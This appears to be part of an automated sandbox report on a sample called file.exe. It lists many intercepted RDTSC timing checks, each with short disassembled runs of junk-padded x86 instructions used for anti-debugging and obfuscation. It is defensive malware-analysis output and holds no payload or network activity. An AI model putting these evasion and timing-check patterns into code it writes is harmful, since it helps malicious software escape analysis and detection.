Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122161F second address: 1221629 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD1DCB3F652h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222E66 second address: 1222E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ecx 0x00000008 jnl 00007FD1DD1E6C96h 0x0000000e jnc 00007FD1DD1E6C96h 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222E7B second address: 1222E81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222E81 second address: 1222EA0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FD1DD1E6CA3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222EA0 second address: 1222EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD1DCB3F646h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007FD1DCB3F64Bh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD1DCB3F64Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222EC7 second address: 1222ECB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222ECB second address: 1222EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FD1DCB3F646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122FE3E second address: 122FE57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ecx 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FD1DD1E6C9Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122FE57 second address: 122FE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232684 second address: 123268E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD1DD1E6C96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123268E second address: 1232694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232694 second address: 1232699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232699 second address: 12326CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DCB3F654h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FD1DCB3F660h 0x00000012 jns 00007FD1DCB3F652h 0x00000018 push esi 0x00000019 pop esi 0x0000001a jmp 00007FD1DCB3F64Ah 0x0000001f push ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124B6FB second address: 124B717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD1DD1E6CA5h 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124B717 second address: 124B71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124A745 second address: 124A764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD1DD1E6C96h 0x0000000a popad 0x0000000b jmp 00007FD1DD1E6CA0h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124AA02 second address: 124AA0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007FD1DCB3F646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124B435 second address: 124B453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DD1E6CA8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E027 second address: 124E02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E02E second address: 124E04A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DD1E6C9Bh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f jnc 00007FD1DD1E6C96h 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E65C second address: 124E660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57700ED second address: 5770119 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FD1DD1E6C9Bh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770119 second address: 577011E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577011E second address: 5770123 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770123 second address: 5770131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770131 second address: 5770137 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770137 second address: 5770149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DCB3F64Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770149 second address: 577014D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750F5E second address: 5750F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750F62 second address: 5750F66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750F66 second address: 5750F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A011C second address: 57A01E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FD1DD1E6CA7h 0x00000011 xor eax, 784DC0EEh 0x00000017 jmp 00007FD1DD1E6CA9h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007FD1DD1E6CA0h 0x00000023 adc si, C868h 0x00000028 jmp 00007FD1DD1E6C9Bh 0x0000002d popfd 0x0000002e popad 0x0000002f xchg eax, ebp 0x00000030 pushad 0x00000031 mov bx, cx 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 pushad 0x00000038 mov dx, si 0x0000003b pushfd 0x0000003c jmp 00007FD1DD1E6CA4h 0x00000041 or ecx, 345B45F8h 0x00000047 jmp 00007FD1DD1E6C9Bh 0x0000004c popfd 0x0000004d popad 0x0000004e pop ebp 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FD1DD1E6CA5h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A01E2 second address: 57A01E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A01E8 second address: 57A01EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57300D6 second address: 57300DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57300DC second address: 57300E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57300E2 second address: 57300E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57300E6 second address: 573013E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FD1DD1E6CA6h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov bx, cx 0x00000018 pushfd 0x00000019 jmp 00007FD1DD1E6CA8h 0x0000001e sub al, 00000018h 0x00000021 jmp 00007FD1DD1E6C9Bh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573013E second address: 5730156 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DCB3F654h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5730156 second address: 57301E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FD1DD1E6CA7h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 mov ax, bx 0x00000014 popad 0x00000015 push dword ptr [ebp+04h] 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FD1DD1E6CA3h 0x0000001f sbb esi, 5A91909Eh 0x00000025 jmp 00007FD1DD1E6CA9h 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007FD1DD1E6CA0h 0x00000031 add al, FFFFFF98h 0x00000034 jmp 00007FD1DD1E6C9Bh 0x00000039 popfd 0x0000003a popad 0x0000003b push dword ptr [ebp+0Ch] 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 mov ecx, ebx 0x00000043 mov ecx, edi 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750B7C second address: 5750C1D instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD1DCB3F658h 0x00000008 or esi, 54A54128h 0x0000000e jmp 00007FD1DCB3F64Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 call 00007FD1DCB3F658h 0x0000001b pushfd 0x0000001c jmp 00007FD1DCB3F652h 0x00000021 adc eax, 3133CEB8h 0x00000027 jmp 00007FD1DCB3F64Bh 0x0000002c popfd 0x0000002d pop eax 0x0000002e popad 0x0000002f push ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FD1DCB3F651h 0x00000039 xor cx, 4156h 0x0000003e jmp 00007FD1DCB3F651h 0x00000043 popfd 0x00000044 mov ecx, 2FF542C7h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750C1D second address: 5750C41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD1DD1E6CA6h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750C41 second address: 5750C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FD1DCB3F656h 0x0000000b sub si, 1D08h 0x00000010 jmp 00007FD1DCB3F64Bh 0x00000015 popfd 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FD1DCB3F655h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57507A5 second address: 57507AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57507AB second address: 57507AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57507AF second address: 57507C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dx, 5E14h 0x00000010 mov cx, dx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57507C3 second address: 575080C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F656h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FD1DCB3F64Dh 0x00000015 and si, 5C36h 0x0000001a jmp 00007FD1DCB3F651h 0x0000001f popfd 0x00000020 movzx eax, bx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575080C second address: 575081D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 59h 0x00000005 push ebx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575081D second address: 5750824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750709 second address: 575070F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575070F second address: 5750720 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DCB3F64Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750720 second address: 575073D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FD1DD1E6C9Dh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575073D second address: 5750744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ch, bl 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575047A second address: 5750481 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 51h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750481 second address: 57504B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FD1DCB3F654h 0x0000000d push eax 0x0000000e jmp 00007FD1DCB3F64Bh 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov dh, 7Fh 0x00000019 mov si, 1E73h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57504B4 second address: 57504EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD1DD1E6CA8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57504EF second address: 57504F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57602E3 second address: 5760326 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov bl, ah 0x0000000e movsx ebx, si 0x00000011 popad 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov ah, dh 0x00000018 jmp 00007FD1DD1E6CA6h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A0038 second address: 57A00D5 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebx, 33EABEAAh 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007FD1DCB3F650h 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FD1DCB3F64Eh 0x0000001b jmp 00007FD1DCB3F655h 0x00000020 popfd 0x00000021 call 00007FD1DCB3F650h 0x00000026 pushfd 0x00000027 jmp 00007FD1DCB3F652h 0x0000002c xor cx, 4A28h 0x00000031 jmp 00007FD1DCB3F64Bh 0x00000036 popfd 0x00000037 pop esi 0x00000038 popad 0x00000039 mov ebp, esp 0x0000003b pushad 0x0000003c mov di, 8D58h 0x00000040 movsx edi, si 0x00000043 popad 0x00000044 pop ebp 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FD1DCB3F652h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A00D5 second address: 57A00E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A00E4 second address: 57A00EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577044C second address: 5770453 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770453 second address: 5770467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ebx, 53739402h 0x00000011 mov bh, EEh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770467 second address: 57704D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 7926h 0x00000007 call 00007FD1DD1E6CA7h 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [ebp+08h] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FD1DD1E6CA5h 0x0000001a jmp 00007FD1DD1E6C9Bh 0x0000001f popfd 0x00000020 push eax 0x00000021 push edx 0x00000022 pushfd 0x00000023 jmp 00007FD1DD1E6CA6h 0x00000028 sbb si, C058h 0x0000002d jmp 00007FD1DD1E6C9Bh 0x00000032 popfd 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57704D9 second address: 5770504 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 and dword ptr [eax], 00000000h 0x0000000a jmp 00007FD1DCB3F654h 0x0000000f and dword ptr [eax+04h], 00000000h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movsx edx, si 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577003D second address: 5770043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770043 second address: 5770047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770047 second address: 577004B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577004B second address: 577006B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c call 00007FD1DCB3F653h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577006B second address: 577007C instructions: 0x00000000 rdtsc 0x00000002 mov bh, 0Eh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dl, ah 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577007C second address: 5770080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770080 second address: 5770086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770086 second address: 57700B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD1DCB3F658h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57700B8 second address: 57700BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57700BC second address: 57700C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57702D2 second address: 57702D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57906CB second address: 57906D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57906D1 second address: 57906D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57906D5 second address: 57906D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57906D9 second address: 5790752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov al, E5h 0x0000000c pushad 0x0000000d jmp 00007FD1DD1E6C9Fh 0x00000012 pushfd 0x00000013 jmp 00007FD1DD1E6CA8h 0x00000018 or ecx, 17FD0938h 0x0000001e jmp 00007FD1DD1E6C9Bh 0x00000023 popfd 0x00000024 popad 0x00000025 popad 0x00000026 xchg eax, ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c pushfd 0x0000002d jmp 00007FD1DD1E6CA1h 0x00000032 or cx, 7FD6h 0x00000037 jmp 00007FD1DD1E6CA1h 0x0000003c popfd 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5790752 second address: 57907A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FD1DCB3F653h 0x00000014 sub cx, 69BEh 0x00000019 jmp 00007FD1DCB3F659h 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
